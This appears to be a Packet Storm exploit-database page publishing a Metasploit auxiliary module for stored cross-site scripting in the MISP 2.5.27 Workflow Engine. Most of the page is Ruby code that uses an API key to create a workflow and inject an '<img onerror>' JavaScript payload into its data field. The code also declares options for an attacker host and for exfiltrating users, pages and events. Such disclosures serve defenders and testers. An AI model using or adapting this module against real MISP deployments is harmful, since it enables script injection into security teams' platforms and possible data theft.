PACKETSTORM

📄 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772

Description

This Metasploit auxiliary module targets a potential stored cross site scripting vulnerability in the MISP Workflow Engine. It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields...
Visit Original Source

Basic Information

ID PACKETSTORM:219772
Published Apr 24, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : MISP 2.5.27 Workflow Engine Stored XSS Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.misp-project.org/2025/11/27/misp.2.5.27.released.html/ |
==================================================================================================================================

[+] Summary : This Metasploit auxiliary module targets a potential stored Cross-Site Scripting (XSS) vulnerability in the MISP Workflow Engine.
It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields.


[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MISP Workflow Engine Stored Cross-Site Scripting',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-28'
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('API_KEY', [true, 'API key', '']),
OptEnum.new('PAYLOAD_MODE', [true, 'Mode',
'alert', ['alert','alert_info','console','console_info','exfiltrate_users','exfiltrate_page','exfiltrate_events']
]),
OptString.new('ATTACKER_HOST', [false, 'host:port', '127.0.0.1:8000']),
OptInt.new('EXFIL_LIMIT', [true, 'limit', 20]),
OptString.new('CUSTOM_PAYLOAD', [false, 'custom', '']),
OptBool.new('VERIFY_SSL', [true, 'SSL verify', false])
])
end

def setup
@base_url = normalize_uri(target_uri.to_s)
@api_key = datastore['API_KEY']
@mode = datastore['PAYLOAD_MODE']
@attacker_host = datastore['ATTACKER_HOST'].to_s
@limit = datastore['EXFIL_LIMIT'].to_i
@custom_payload = datastore['CUSTOM_PAYLOAD'].to_s
@workflow_id = nil
@trigger_id = nil
end

def run_host(ip)
print_status("Target: #{ip}:#{rport}")

return unless check_vulnerability
return unless create_workflow
return unless inject_payload

verify_payload
print_exploit_info
end

def check_vulnerability
res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'servers/getVersion'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})

return false unless res && res.body

begin
json = JSON.parse(res.body)
if json['version']
version = json['version'].to_s
if version.start_with?('2.5')
print_good("Version: #{version} (likely vulnerable)")
end
end
rescue
end

res2 = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/index'),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})

return false unless res2

if res2.code == 200
print_good("Workflow API accessible")
return true
end

false
end

def create_workflow
name = "XSS_#{Rex::Text.rand_text_alpha(8)}"

res = send_request_cgi({
'uri' => normalize_uri(@base_url, 'workflows/add'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => { 'Workflow' => { 'name' => name } }.to_json,
'headers' => { 'Authorization' => @api_key }
})

return false unless res && res.body

json = JSON.parse(res.body) rescue nil
return false unless json

wf = json.dig('saved', 'Workflow') || json['Workflow']
return false unless wf

@workflow_id = wf['id'].to_s
@trigger_id = wf['trigger_id'].to_s

return false if @workflow_id.empty? || @trigger_id.empty?

print_good("Workflow: #{@workflow_id}")
true
end

def build_js_payload
return @custom_payload unless @custom_payload.empty?

case @mode
when 'alert'
"alert('MISP XSS');"
when 'console'
"console.log('MISP XSS');"
else
"alert('XSS');"
end
end

def build_html_payload(js)
"<img src=x onerror=\"#{js.gsub('"','\"')}\">"
end

def inject_payload
return false unless @workflow_id && @trigger_id

js = build_js_payload
html = build_html_payload(js)

res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/edit/#{@workflow_id}"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'Workflow' => {
'id' => @workflow_id,
'data' => html
}
}.to_json,
'headers' => { 'Authorization' => @api_key }
})

if res && res.code == 200
print_good("Payload injected")
return true
end

false
end

def verify_payload
return unless @workflow_id

res = send_request_cgi({
'uri' => normalize_uri(@base_url, "workflows/view/#{@workflow_id}"),
'method' => 'GET',
'headers' => { 'Authorization' => @api_key }
})

return false unless res && res.body
if res.body.include?(@workflow_id)
print_good("Workflow exists (not reliable XSS proof)")
return true
end

false
end

def print_exploit_info
return unless @workflow_id

url = normalize_uri(@base_url, "workflows/view/#{@workflow_id}")

print_good("URL: #{url}")

report_note(
host: (defined?(rhost) ? rhost : nil),
port: (defined?(rport) ? rport : nil),
type: 'misp.xss',
data: { workflow_id: @workflow_id, url: url },
update: :unique_data
)
end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.